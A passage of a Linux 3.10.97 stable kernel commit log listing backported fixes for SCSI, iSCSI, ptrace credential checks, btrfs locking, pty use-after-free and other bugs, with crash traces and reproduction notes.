v4.5-rc patch converts target_core_tpg.c to use proper se_sess->sess_kref reference counting for both se_node_acl deletion + se_node_acl->queue_depth se_session restart. Reported-by:: Sagi Grimberg Cc: Christoph Hellwig Cc: Hannes Reinecke Cc: Andy Grover Cc: Mike Christie Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 01587778e54f7a3f41b2ceed74ae2fa97422985f Author: Ken Xue Date: Tue Dec 1 14:45:46 2015 +0800 SCSI: Fix NULL pointer dereference in runtime PM commit 4fd41a8552afc01054d9d9fc7f1a63c324867d27 upstream. The routines in scsi_pm.c assume that if a runtime-PM callback is invoked for a SCSI device, it can only mean that the device's driver has asked the block layer to handle the runtime power management (by calling blk_pm_runtime_init(), which among other things sets q->dev). However, this assumption turns out to be wrong for things like the ses driver. Normally ses devices are not allowed to do runtime PM, but userspace can override this setting. If this happens, the kernel gets a NULL pointer dereference when blk_post_runtime_resume() tries to use the uninitialized q->dev pointer. This patch fixes the problem by checking q->dev in block layer before handle runtime PM. Since ses doesn't define any PM callbacks and call blk_pm_runtime_init(), the crash won't occur. This fixes Bugzilla #101371. https://bugzilla.kernel.org/show_bug.cgi?id=101371 More discussion can be found from below link. http://marc.info/?l=linux-scsi&m=144163730531875&w=2 Signed-off-by: Ken Xue Acked-by: Alan Stern Cc: Xiangliang Yu Cc: James E.J. Bottomley Cc: Jens Axboe Cc: Michael Terry Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5728071844c9b1ae454791a69894c69ab8dd2382 Author: Bart Van Assche Date: Wed Nov 18 14:56:36 2015 -0800 Fix a memory leak in scsi_host_dev_release() commit b49493f99690c8eaacfbc635bafaad629ea2c036 upstream. Avoid that kmemleak reports the following memory leak if a SCSI LLD calls scsi_host_alloc() and scsi_host_put() but neither scsi_host_add() nor scsi_host_remove(). The following shell command triggers that scenario: for ((i=0; i<2; i++)); do srp_daemon -oac | while read line; do echo $line >/sys/class/infiniband_srp/srp-mlx4_0-1/add_target done done unreferenced object 0xffff88021b24a220 (size 8): comm "srp_daemon", pid 56421, jiffies 4295006762 (age 4240.750s) hex dump (first 8 bytes): 68 6f 73 74 35 38 00 a5 host58.. backtrace: [] kmemleak_alloc+0x7a/0xc0 [] __kmalloc_track_caller+0xfe/0x160 [] kvasprintf+0x5b/0x90 [] kvasprintf_const+0x8d/0xb0 [] kobject_set_name_vargs+0x3c/0xa0 [] dev_set_name+0x3c/0x40 [] scsi_host_alloc+0x327/0x4b0 [] srp_create_target+0x4e/0x8a0 [ib_srp] [] dev_attr_store+0x1b/0x20 [] sysfs_kf_write+0x4a/0x60 [] kernfs_fop_write+0x14e/0x180 [] __vfs_write+0x2f/0xf0 [] vfs_write+0xa4/0x100 [] SyS_write+0x54/0xc0 [] entry_SYSCALL_64_fastpath+0x12/0x6f Signed-off-by: Bart Van Assche Reviewed-by: Christoph Hellwig Reviewed-by: Johannes Thumshirn Reviewed-by: Sagi Grimberg Reviewed-by: Lee Duncan Cc: Christoph Hellwig Cc: Hannes Reinecke Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b1d264daaba58e514a734f89364defea80f3e4b3 Author: Nicholas Bellinger Date: Thu Nov 5 14:11:59 2015 -0800 iscsi-target: Fix rx_login_comp hang after login failure commit ca82c2bded29b38d36140bfa1e76a7bbfcade390 upstream. This patch addresses a case where iscsi_target_do_tx_login_io() fails sending the last login response PDU, after the RX/TX threads have already been started. The case centers around iscsi_target_rx_thread() not invoking allow_signal(SIGINT) before the send_sig(SIGINT, ...) occurs from the failure path, resulting in RX thread hanging indefinately on iscsi_conn->rx_login_comp. Note this bug is a regression introduced by: commit e54198657b65625085834847ab6271087323ffea Author: Nicholas Bellinger Date: Wed Jul 22 23:14:19 2015 -0700 iscsi-target: Fix iscsit_start_kthreads failure OOPs To address this bug, complete ->rx_login_complete for good measure in the failure path, and immediately return from RX thread context if connection state did not actually reach full feature phase (TARG_CONN_STATE_LOGGED_IN). Cc: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 59c036b7f2b423d7089ecfc31041d1d93364f1b5 Author: Peter Oberparleiter Date: Tue Oct 27 10:49:54 2015 +0100 scsi_sysfs: Fix queue_ramp_up_period return code commit 863e02d0e173bb9d8cea6861be22820b25c076cc upstream. Writing a number to /sys/bus/scsi/devices//queue_ramp_up_period returns the value of that number instead of the number of bytes written. This behavior can confuse programs expecting POSIX write() semantics. Fix this by returning the number of bytes written instead. Signed-off-by: Peter Oberparleiter Reviewed-by: Hannes Reinecke Reviewed-by: Matthew R. Ochs Reviewed-by: Ewan D. Milne Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 473ba3aa0c72f7fe6c6b38a33e05011abd01dd75 Author: Christoph Hellwig Date: Mon Oct 19 16:35:46 2015 +0200 scsi: restart list search after unlock in scsi_remove_target commit 40998193560dab6c3ce8d25f4fa58a23e252ef38 upstream. When dropping a lock while iterating a list we must restart the search as other threads could have manipulated the list under us. Without this we can get stuck in an endless loop. This bug was introduced by commit bc3f02a795d3b4faa99d37390174be2a75d091bd Author: Dan Williams Date: Tue Aug 28 22:12:10 2012 -0700 [SCSI] scsi_remove_target: fix softlockup regression on hot remove Which was itself trying to fix a reported soft lockup issue http://thread.gmane.org/gmane.linux.kernel/1348679 However, we believe even with this revert of the original patch, the soft lockup problem has been fixed by commit f2495e228fce9f9cec84367547813cbb0d6db15a Author: James Bottomley Date: Tue Jan 21 07:01:41 2014 -0800 [SCSI] dual scan thread bug fix Thanks go to Dan Williams for tracking all this prior history down. Reported-by: Johannes Thumshirn Signed-off-by: Christoph Hellwig Tested-by: Johannes Thumshirn Reviewed-by: Johannes Thumshirn Fixes: bc3f02a795d3b4faa99d37390174be2a75d091bd Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 30047b0ffb3c13fa59dd721182b82a62ffe01b95 Author: James Bottomley Date: Wed Jan 13 08:10:31 2016 -0800 klist: fix starting point removed bug in klist iterators commit 00cd29b799e3449f0c68b1cc77cd4a5f95b42d17 upstream. The starting node for a klist iteration is often passed in from somewhere way above the klist infrastructure, meaning there's no guarantee the node is still on the list. We've seen this in SCSI where we use bus_find_device() to iterate through a list of devices. In the face of heavy hotplug activity, the last device returned by bus_find_device() can be removed before the next call. This leads to Dec 3 13:22:02 localhost kernel: WARNING: CPU: 2 PID: 28073 at include/linux/kref.h:47 klist_iter_init_node+0x3d/0x50() Dec 3 13:22:02 localhost kernel: Modules linked in: scsi_debug x86_pkg_temp_thermal kvm_intel kvm irqbypass crc32c_intel joydev iTCO_wdt dcdbas ipmi_devintf acpi_power_meter iTCO_vendor_support ipmi_si imsghandler pcspkr wmi acpi_cpufreq tpm_tis tpm shpchp lpc_ich mfd_core nfsd nfs_acl lockd grace sunrpc tg3 ptp pps_core Dec 3 13:22:02 localhost kernel: CPU: 2 PID: 28073 Comm: cat Not tainted 4.4.0-rc1+ #2 Dec 3 13:22:02 localhost kernel: Hardware name: Dell Inc. PowerEdge R320/08VT7V, BIOS 2.0.22 11/19/2013 Dec 3 13:22:02 localhost kernel: ffffffff81a20e77 ffff880613acfd18 ffffffff81321eef 0000000000000000 Dec 3 13:22:02 localhost kernel: ffff880613acfd50 ffffffff8107ca52 ffff88061176b198 0000000000000000 Dec 3 13:22:02 localhost kernel: ffffffff814542b0 ffff880610cfb100 ffff88061176b198 ffff880613acfd60 Dec 3 13:22:02 localhost kernel: Call Trace: Dec 3 13:22:02 localhost kernel: [] dump_stack+0x44/0x55 Dec 3 13:22:02 localhost kernel: [] warn_slowpath_common+0x82/0xc0 Dec 3 13:22:02 localhost kernel: [] ? proc_scsi_show+0x20/0x20 Dec 3 13:22:02 localhost kernel: [] warn_slowpath_null+0x1a/0x20 Dec 3 13:22:02 localhost kernel: [] klist_iter_init_node+0x3d/0x50 Dec 3 13:22:02 localhost kernel: [] bus_find_device+0x51/0xb0 Dec 3 13:22:02 localhost kernel: [] scsi_seq_next+0x2d/0x40 [...] And an eventual crash. It can actually occur in any hotplug system which has a device finder and a starting device. We can fix this globally by making sure the starting node for klist_iter_init_node() is actually a member of the list before using it (and by starting from the beginning if it isn't). Reported-by: Ewan D. Milne Tested-by: Ewan D. Milne Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0dfcfa943b3a2c3fc3fed5df6975ebd607131caf Author: Arnd Bergmann Date: Fri Feb 12 22:26:42 2016 +0100 tracing: Fix freak link error caused by branch tracer commit b33c8ff4431a343561e2319f17c14286f2aa52e2 upstream. In my randconfig tests, I came across a bug that involves several components: * gcc-4.9 through at least 5.3 * CONFIG_GCOV_PROFILE_ALL enabling -fprofile-arcs for all files * CONFIG_PROFILE_ALL_BRANCHES overriding every if() * The optimized implementation of do_div() that tries to replace a library call with an division by multiplication * code in drivers/media/dvb-frontends/zl10353.c doing u32 adc_clock = 450560; /* 45.056 MHz */ if (state->config.adc_clock) adc_clock = state->config.adc_clock; do_div(value, adc_clock); In this case, gcc fails to determine whether the divisor in do_div() is __builtin_constant_p(). In particular, it concludes that __builtin_constant_p(adc_clock) is false, while __builtin_constant_p(!!adc_clock) is true. That in turn throws off the logic in do_div() that also uses __builtin_constant_p(), and instead of picking either the constant- optimized division, and the code in ilog2() that uses __builtin_constant_p() to figure out whether it knows the answer at compile time. The result is a link error from failing to find multiple symbols that should never have been called based on the __builtin_constant_p(): dvb-frontends/zl10353.c:138: undefined reference to `____ilog2_NaN' dvb-frontends/zl10353.c:138: undefined reference to `__aeabi_uldivmod' ERROR: "____ilog2_NaN" [drivers/media/dvb-frontends/zl10353.ko] undefined! ERROR: "__aeabi_uldivmod" [drivers/media/dvb-frontends/zl10353.ko] undefined! This patch avoids the problem by changing __trace_if() to check whether the condition is known at compile-time to be nonzero, rather than checking whether it is actually a constant. I see this one link error in roughly one out of 1600 randconfig builds on ARM, and the patch fixes all known instances. Link: http://lkml.kernel.org/r/1455312410-1058841-1-git-send-email-arnd@arndb.de Acked-by: Nicolas Pitre Fixes: ab3c9c686e22 ("branch tracer, intel-iommu: fix build with CONFIG_BRANCH_TRACER=y") Signed-off-by: Arnd Bergmann Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 496925596a8bd571a3341a080f0eceae60114bfa Author: Steven Rostedt Date: Mon Nov 16 17:25:16 2015 -0500 tools lib traceevent: Fix output of %llu for 64 bit values read on 32 bit machines commit 32abc2ede536aae52978d6c0a8944eb1df14f460 upstream. When a long value is read on 32 bit machines for 64 bit output, the parsing needs to change "%lu" into "%llu", as the value is read natively. Unfortunately, if "%llu" is already there, the code will add another "l" to it and fail to parse it properly. Signed-off-by: Steven Rostedt Acked-by: Namhyung Kim Link: http://lkml.kernel.org/r/20151116172516.4b79b109@gandalf.local.home Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 440bc0fbd209e2b47617538448b5f4caf8150320 Author: Jann Horn Date: Wed Jan 20 15:00:04 2016 -0800 ptrace: use fsuid, fsgid, effective creds for fs access checks commit caaee6234d05a58c5b4d05e7bf766131b810a657 upstream. By checking the effective credentials instead of the real UID / permitted capabilities, ensure that the calling process actually intended to use its credentials. To ensure that all ptrace checks use the correct caller credentials (e.g. in case out-of-tree code or newly added code omits the PTRACE_MODE_*CREDS flag), use two new flags and require one of them to be set. The problem was that when a privileged task had temporarily dropped its privileges, e.g. by calling setreuid(0, user_uid), with the intent to perform following syscalls with the credentials of a user, it still passed ptrace access checks that the user would not be able to pass. While an attacker should not be able to convince the privileged task to perform a ptrace() syscall, this is a problem because the ptrace access check is reused for things in procfs. In particular, the following somewhat interesting procfs entries only rely on ptrace access checks: /proc/$pid/stat - uses the check for determining whether pointers should be visible, useful for bypassing ASLR /proc/$pid/maps - also useful for bypassing ASLR /proc/$pid/cwd - useful for gaining access to restricted directories that contain files with lax permissions, e.g. in this scenario: lrwxrwxrwx root root /proc/13020/cwd -> /root/foobar drwx------ root root /root drwxr-xr-x root root /root/foobar -rw-r--r-- root root /root/foobar/secret Therefore, on a system where a root-owned mode 6755 binary changes its effective credentials as described and then dumps a user-specified file, this could be used by an attacker to reveal the memory layout of root's processes or reveal the contents of files he is not allowed to access (through /proc/$pid/cwd). [akpm@linux-foundation.org: fix warning] Signed-off-by: Jann Horn Acked-by: Kees Cook Cc: Casey Schaufler Cc: Oleg Nesterov Cc: Ingo Molnar Cc: James Morris Cc: "Serge E. Hallyn" Cc: Andy Shevchenko Cc: Andy Lutomirski Cc: Al Viro Cc: "Eric W. Biederman" Cc: Willy Tarreau Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a8737121bfcc22dff0a85ab07ca3a3e38f14c832 Author: Peter Zijlstra Date: Mon Nov 2 10:50:51 2015 +0100 perf: Fix inherited events vs. tracepoint filters commit b71b437eedaed985062492565d9d421d975ae845 upstream. Arnaldo reported that tracepoint filters seem to misbehave (ie. not apply) on inherited events. The fix is obvious; filters are only set on the actual (parent) event, use the normal pattern of using this parent event for filters. This is safe because each child event has a reference to it. Reported-by: Arnaldo Carvalho de Melo Tested-by: Arnaldo Carvalho de Melo Signed-off-by: Peter Zijlstra (Intel) Cc: Adrian Hunter Cc: Arnaldo Carvalho de Melo Cc: David Ahern Cc: Frédéric Weisbecker Cc: Jiri Olsa Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Cc: Wang Nan Link: http://lkml.kernel.org/r/20151102095051.GN17308@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 446f145ac85021c8970ba673efa18dd68a1612aa Author: Filipe Manana Date: Wed Feb 3 19:17:27 2016 +0000 Btrfs: fix hang on extent buffer lock caused by the inode_paths ioctl commit 0c0fe3b0fa45082cd752553fdb3a4b42503a118e upstream. While doing some tests I ran into an hang on an extent buffer's rwlock that produced the following trace: [39389.800012] NMI watchdog: BUG: soft lockup - CPU#15 stuck for 22s! [fdm-stress:32166] [39389.800016] NMI watchdog: BUG: soft lockup - CPU#14 stuck for 22s! [fdm-stress:32165] [39389.800016] Modules linked in: btrfs dm_mod ppdev xor sha256_generic hmac raid6_pq drbg ansi_cprng aesni_intel i2c_piix4 acpi_cpufreq aes_x86_64 ablk_helper tpm_tis parport_pc i2c_core sg cryptd evdev psmouse lrw tpm parport gf128mul serio_raw pcspkr glue_helper processor button loop autofs4 ext4 crc16 mbcache jbd2 sd_mod sr_mod cdrom ata_generic virtio_scsi ata_piix libata virtio_pci virtio_ring crc32c_intel scsi_mod e1000 virtio floppy [last unloaded: btrfs] [39389.800016] irq event stamp: 0 [39389.800016] hardirqs last enabled at (0): [< (null)>] (null) [39389.800016] hardirqs last disabled at (0): [] copy_process+0x638/0x1a35 [39389.800016] softirqs last enabled at (0): [] copy_process+0x638/0x1a35 [39389.800016] softirqs last disabled at (0): [< (null)>] (null) [39389.800016] CPU: 14 PID: 32165 Comm: fdm-stress Not tainted 4.4.0-rc6-btrfs-next-18+ #1 [39389.800016] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS by qemu-project.org 04/01/2014 [39389.800016] task: ffff880175b1ca40 ti: ffff8800a185c000 task.ti: ffff8800a185c000 [39389.800016] RIP: 0010:[] [] queued_spin_lock_slowpath+0x57/0x158 [39389.800016] RSP: 0018:ffff8800a185fb80 EFLAGS: 00000202 [39389.800016] RAX: 0000000000000101 RBX: ffff8801710c4e9c RCX: 0000000000000101 [39389.800016] RDX: 0000000000000100 RSI: 0000000000000001 RDI: 0000000000000001 [39389.800016] RBP: ffff8800a185fb98 R08: 0000000000000001 R09: 0000000000000000 [39389.800016] R10: ffff8800a185fb68 R11: 6db6db6db6db6db7 R12: ffff8801710c4e98 [39389.800016] R13: ffff880175b1ca40 R14: ffff8800a185fc10 R15: ffff880175b1ca40 [39389.800016] FS: 00007f6d37fff700(0000) GS:ffff8802be9c0000(0000) knlGS:0000000000000000 [39389.800016] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [39389.800016] CR2: 00007f6d300019b8 CR3: 0000000037c93000 CR4: 00000000001406e0 [39389.800016] Stack: [39389.800016] ffff8801710c4e98 ffff8801710c4e98 ffff880175b1ca40 ffff8800a185fbb0 [39389.800016] ffffffff81091e11 ffff8801710c4e98 ffff8800a185fbc8 ffffffff81091895 [39389.800016] ffff8801710c4e98 ffff8800a185fbe8 ffffffff81486c5c ffffffffa067288c [39389.800016] Call Trace: [39389.800016] [] queued_read_lock_slowpath+0x46/0x60 [39389.800016] [] do_raw_read_lock+0x3e/0x41 [39389.800016] [] _raw_read_lock+0x3d/0x44 [39389.800016] [] ? btrfs_tree_read_lock+0x54/0x125 [btrfs] [39389.800016] [] btrfs_tree_read_lock+0x54/0x125 [btrfs] [39389.800016] [] ? btrfs_find_item+0xa7/0xd2 [btrfs] [39389.800016] [] btrfs_ref_to_path+0xd6/0x174 [btrfs] [39389.800016] [] inode_to_path+0x53/0xa2 [btrfs] [39389.800016] [] paths_from_inode+0x117/0x2ec [btrfs] [39389.800016] [] btrfs_ioctl+0xd5b/0x2793 [btrfs] [39389.800016] [] ? arch_local_irq_save+0x9/0xc [39389.800016] [] ? __this_cpu_preempt_check+0x13/0x15 [39389.800016] [] ? arch_local_irq_save+0x9/0xc [39389.800016] [] ? rcu_read_unlock+0x3e/0x5d [39389.800016] [] do_vfs_ioctl+0x42b/0x4ea [39389.800016] [] ? __fget_light+0x62/0x71 [39389.800016] [] SyS_ioctl+0x57/0x79 [39389.800016] [] entry_SYSCALL_64_fastpath+0x12/0x6f [39389.800016] Code: b9 01 01 00 00 f7 c6 00 ff ff ff 75 32 83 fe 01 89 ca 89 f0 0f 45 d7 f0 0f b1 13 39 f0 74 04 89 c6 eb e2 ff ca 0f 84 fa 00 00 00 <8b> 03 84 c0 74 04 f3 90 eb f6 66 c7 03 01 00 e9 e6 00 00 00 e8 [39389.800012] Modules linked in: btrfs dm_mod ppdev xor sha256_generic hmac raid6_pq drbg ansi_cprng aesni_intel i2c_piix4 acpi_cpufreq aes_x86_64 ablk_helper tpm_tis parport_pc i2c_core sg cryptd evdev psmouse lrw tpm parport gf128mul serio_raw pcspkr glue_helper processor button loop autofs4 ext4 crc16 mbcache jbd2 sd_mod sr_mod cdrom ata_generic virtio_scsi ata_piix libata virtio_pci virtio_ring crc32c_intel scsi_mod e1000 virtio floppy [last unloaded: btrfs] [39389.800012] irq event stamp: 0 [39389.800012] hardirqs last enabled at (0): [< (null)>] (null) [39389.800012] hardirqs last disabled at (0): [] copy_process+0x638/0x1a35 [39389.800012] softirqs last enabled at (0): [] copy_process+0x638/0x1a35 [39389.800012] softirqs last disabled at (0): [< (null)>] (null) [39389.800012] CPU: 15 PID: 32166 Comm: fdm-stress Tainted: G L 4.4.0-rc6-btrfs-next-18+ #1 [39389.800012] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS by qemu-project.org 04/01/2014 [39389.800012] task: ffff880179294380 ti: ffff880034a60000 task.ti: ffff880034a60000 [39389.800012] RIP: 0010:[] [] queued_write_lock_slowpath+0x62/0x72 [39389.800012] RSP: 0018:ffff880034a639f0 EFLAGS: 00000206 [39389.800012] RAX: 0000000000000101 RBX: ffff8801710c4e98 RCX: 0000000000000000 [39389.800012] RDX: 00000000000000ff RSI: 0000000000000000 RDI: ffff8801710c4e9c [39389.800012] RBP: ffff880034a639f8 R08: 0000000000000001 R09: 0000000000000000 [39389.800012] R10: ffff880034a639b0 R11: 0000000000001000 R12: ffff8801710c4e98 [39389.800012] R13: 0000000000000001 R14: ffff880172cbc000 R15: ffff8801710c4e00 [39389.800012] FS: 00007f6d377fe700(0000) GS:ffff8802be9e0000(0000) knlGS:0000000000000000 [39389.800012] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [39389.800012] CR2: 00007f6d3d3c1000 CR3: 0000000037c93000 CR4: 00000000001406e0 [39389.800012] Stack: [39389.800012] ffff8801710c4e98 ffff880034a63a10 ffffffff81091963 ffff8801710c4e98 [39389.800012] ffff880034a63a30 ffffffff81486f1b ffffffffa0672cb3 ffff8801710c4e00 [39389.800012] ffff880034a63a78 ffffffffa0672cb3 ffff8801710c4e00 ffff880034a63a58 [39389.800012] Call Trace: [39389.800012] [] do_raw_write_lock+0x72/0x8c [39389.800012] [] _raw_write_lock+0x3a/0x41 [39389.800012] [] ? btrfs_tree_lock+0x119/0x251 [btrfs] [39389.800012] [] btrfs_tree_lock+0x119/0x251 [btrfs] [39389.800012] [] ? rcu_read_unlock+0x5b/0x5d [btrfs] [39389.800012] [] ? btrfs_root_node+0xda/0xe6 [btrfs] [39389.800012] [] btrfs_lock_root_node+0x22/0x42 [btrfs] [39389.800012] [] btrfs_search_slot+0x1b8/0x758 [btrfs] [39389.800012] [] ? time_hardirqs_on+0x15/0x28 [39389.800012] [] btrfs_lookup_inode+0x31/0x95 [btrfs] [39389.800012] [] ? trace_hardirqs_on+0xd/0xf [39389.800012] [] ? mutex_lock_nested+0x397/0x3bc [39389.800012] [] __btrfs_update_delayed_inode+0x59/0x1c0 [btrfs] [39389.800012] [] __btrfs_commit_inode_delayed_items+0x194/0x5aa [btrfs] [39389.800012] [] ? _raw_spin_unlock+0x31/0x44 [39389.800012] [] __btrfs_run_delayed_items+0xa4/0x15c [btrfs] [39389.800012] [] btrfs_run_delayed_items+0x11/0x13 [btrfs] [39389.800012] [] btrfs_commit_transaction+0x234/0x96e [btrfs] [39389.800012] [] btrfs_sync_fs+0x145/0x1ad [btrfs] [39389.800012] [] btrfs_ioctl+0x11d2/0x2793 [btrfs] [39389.800012] [] ? arch_local_irq_save+0x9/0xc [39389.800012] [] ? __might_fault+0x4c/0xa7 [39389.800012] [] ? __might_fault+0x4c/0xa7 [39389.800012] [] ? arch_local_irq_save+0x9/0xc [39389.800012] [] ? rcu_read_unlock+0x3e/0x5d [39389.800012] [] do_vfs_ioctl+0x42b/0x4ea [39389.800012] [] ? __fget_light+0x62/0x71 [39389.800012] [] SyS_ioctl+0x57/0x79 [39389.800012] [] entry_SYSCALL_64_fastpath+0x12/0x6f [39389.800012] Code: f0 0f b1 13 85 c0 75 ef eb 2a f3 90 8a 03 84 c0 75 f8 f0 0f b0 13 84 c0 75 f0 ba ff 00 00 00 eb 0a f0 0f b1 13 ff c8 74 0b f3 90 <8b> 03 83 f8 01 75 f7 eb ed c6 43 04 00 5b 5d c3 0f 1f 44 00 00 This happens because in the code path executed by the inode_paths ioctl we end up nesting two calls to read lock a leaf's rwlock when after the first call to read_lock() and before the second call to read_lock(), another task (running the delayed items as part of a transaction commit) has already called write_lock() against the leaf's rwlock. This situation is illustrated by the following diagram: Task A Task B btrfs_ref_to_path() btrfs_commit_transaction() read_lock(&eb->lock); btrfs_run_delayed_items() __btrfs_commit_inode_delayed_items() __btrfs_update_delayed_inode() btrfs_lookup_inode() write_lock(&eb->lock); --> task waits for lock read_lock(&eb->lock); --> makes this task hang forever (and task B too of course) So fix this by avoiding doing the nested read lock, which is easily avoidable. This issue does not happen if task B calls write_lock() after task A does the second call to read_lock(), however there does not seem to exist anything in the documentation that mentions what is the expected behaviour for recursive locking of rwlocks (leaving the idea that doing so is not a good usage of rwlocks). Also, as a side effect necessary for this fix, make sure we do not needlessly read lock extent buffers when the input path has skip_locking set (used when called from send). Signed-off-by: Filipe Manana Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 51ae737018e029b10de72d5b7151fece870a4570 Author: Insu Yun Date: Fri Feb 12 01:15:59 2016 -0500 ext4: fix potential integer overflow commit 46901760b46064964b41015d00c140c83aa05bcf upstream. Since sizeof(ext_new_group_data) > sizeof(ext_new_flex_group_data), integer overflow could be happened. Therefore, need to fix integer overflow sanitization. Signed-off-by: Insu Yun Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e87fd4f4c0536dc208e84640282b3ddc4895257b Author: Herton R. Krzesinski Date: Thu Jan 14 17:56:58 2016 -0200 pty: make sure super_block is still valid in final /dev/tty close commit 1f55c718c290616889c04946864a13ef30f64929 upstream. Considering current pty code and multiple devpts instances, it's possible to umount a devpts file system while a program still has /dev/tty opened pointing to a previosuly closed pty pair in that instance. In the case all ptmx and pts/N files are closed, umount can be done. If the program closes /dev/tty after umount is done, devpts_kill_index will use now an invalid super_block, which was already destroyed in the umount operation after running ->kill_sb. This is another "use after free" type of issue, but now related to the allocated super_block instance. To avoid the problem (warning at ida_remove and potential crashes) for this specific case, I added two functions in devpts which grabs additional references to the super_block, which pty code now uses so it makes sure the super block structure is still valid until pty shutdown is done. I also moved the additional inode references to the same functions, which also covered similar case with inode being freed before /dev/tty final close/shutdown. Signed-off-by: Herton R. Krzesinski Reviewed-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cbbc81099c875c0d6a36bbb4682ae5f047ff8813 Author: Herton R. Krzesinski Date: Mon Jan 11 12:07:43 2016 -0200 pty: fix possible use after free of tty->driver_data commit 2831c89f42dcde440cfdccb9fee9f42d54bbc1ef upstream. This change fixes a bug for a corner case where we have the the last release from a pty master/slave coming from a previously opened /dev/tty file. When this happens, the tty->driver_data can be stale, due to all ptmx or pts/N files having already been closed before (and thus the inode related to these files, which tty->driver_data points to, being already freed/destroyed). The fix here is to keep a reference on the opened master ptmx inode. We maintain the inode referenced until the final pty_unix98_shutdown, and only pass this inode to devpts_kill_index. Signed-off-by: Herton R. Krzesinski Reviewed-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e6793b86377f56ea906fe085ebaa75aa4b3946b Author: Peter Hurley Date: Sun Jan 10 22:40:58 2016 -0800 staging/speakup: Use tty_ldisc_ref() for paste kworker commit f4f9edcf9b5289ed96113e79fa65a7bf27ecb096 upstream. As the function documentation for tty_ldisc_ref_wait() notes, it is only callable from a tty file_operations routine; otherwise there is no guarantee the ref won't be NULL. The key difference with the VT's paste_selection() is that is an ioctl, where __speakup_paste_selection() is completely async kworker, kicked off from interrupt context. Fixes: 28a821c30688 ("Staging: speakup: Update __speakup_paste_selection() tty (ab)usage to match vt") Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b4881f2b998dd06dc4ca36070d2953db16ff3685 Author: Peter Hurley Date: Fri Nov 27 14:18:39 2015 -0500 wan/x25: Fix use-after-free in x25_asy_open_tty() commit ee9159ddce14bc1dec9435ae4e3bd3153e783706 upstream. The N_X25 line discipline may access the previous line discipline's closed and already-freed private data on open [1]. The tty->disc_data field _never_ refers to valid data on entry to the line discipline's open() method. Rather, the ldisc is expected to initialize that field for its own use for the lifetime of the instance (ie. from open() to close() only). [1] [ 634.336761] ================================================================== [ 634.338226] BUG: KASAN: use-after-free in x25_asy_open_tty+0x13d/0x490 at addr ffff8800a743efd0 [ 634.339558] Read of size 4 by task syzkaller_execu/8981 [ 634.340359] ============================================================================= [ 634.341598] BUG kmalloc-512 (Not tainted): kasan: bad access detected ... [ 634.405018] Call Trace: [ 634.405277] dump_stack (lib/dump_stack.c:52) [ 634.405775] print_trailer (mm/slub.c:655) [ 634.406361] object_err (mm/slub.c:662) [ 634.406824] kasan_report_error (mm/kasan/report.c:138 mm/kasan/report.c:236) [ 634.409581] __asan_report_load4_noabort (mm/kasan/report.c:279) [ 634.411355] x25_asy_open_tty (drivers/net/wan/x25_asy.c:559 (discriminator 1)) [ 634.413997] tty_ldisc_open.isra.2 (drivers/tty/tty_ldisc.c:447) [ 634.414549] tty_set_ldisc (drivers/tty/tty_ldisc.c:567) [ 634.415057] tty_ioctl (drivers/tty/tty_io.c:2646 drivers/tty/tty_io.c:2879) [ 634.423524] do_vfs_ioctl (fs/ioctl.c:43 fs/ioctl.c:607) [ 634.427491] SyS_ioctl (fs/ioctl.c:622 fs/ioctl.c:613) [ 634.427945] entry_SYSCALL_64_fastpath (arch/x86/entry/entry_64.S:188) Reported-and-tested-by: Sasha Levin Signed-off-by: Peter Hurley Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c37ec8748cc67d86cc484a3f8e7cc11af3e9aac Author: Takashi Iwai Date: Tue Feb 16 14:15:59 2016 +0100 ALSA: seq: Fix double port list deletion commit 13d5e5d4725c64ec06040d636832e78453f477b7 upstream. The commit [7f0973e973cd: ALSA: seq: Fix lockdep warnings due to double mutex locks] split the management of two linked lists (source and destination) into two individual calls for avoiding the AB/BA deadlock. However, this may leave the possible double deletion of one of two lists when the counterpart is being deleted concurrently. It ends up with a list corruption, as revealed by syzkaller fuzzer. This patch fixes it by checking the list emptiness and skipping the deletion and the following process. BugLink: http://lkml.kernel.org/r/CACT4Y+bay9qsrz6dQu31EcGaH9XwfW7o3oBzSQUG9fMszoh=Sg@mail.gmail.com Fixes: 7f0973e973cd ('ALSA: seq: Fix lockdep warnings due to 'double mutex locks) Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34a609824c7901a1f4984b51c73f38d8b2871cc1 Author: Greg Kroah-Hartman Date: Fri Feb 19 14:22:57 2016 -0800 Linux 3.10.97 Signed-off-by: 